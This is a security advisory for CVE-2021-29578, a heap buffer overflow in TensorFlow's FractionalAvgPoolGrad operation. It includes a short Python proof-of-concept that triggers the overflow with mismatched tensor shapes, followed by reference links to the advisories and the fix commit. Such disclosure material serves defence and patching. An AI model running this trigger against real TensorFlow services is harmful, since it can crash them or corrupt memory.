CVE-2021-29578: Heap buffer overflow in `FractionalAvgPoolGrad`
(updated )
The implementation of tf.raw_ops.FractionalAvgPoolGrad is vulnerable to a heap buffer overflow:
import tensorflow as tf
orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)
out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
References
- github.com/advisories/GHSA-6f89-8j54-29xf
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-506.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-704.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-215.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f
- github.com/tensorflow/tensorflow/security/advisories/GHSA-6f89-8j54-29xf
- nvd.nist.gov/vuln/detail/CVE-2021-29578
Code Behaviors & Features
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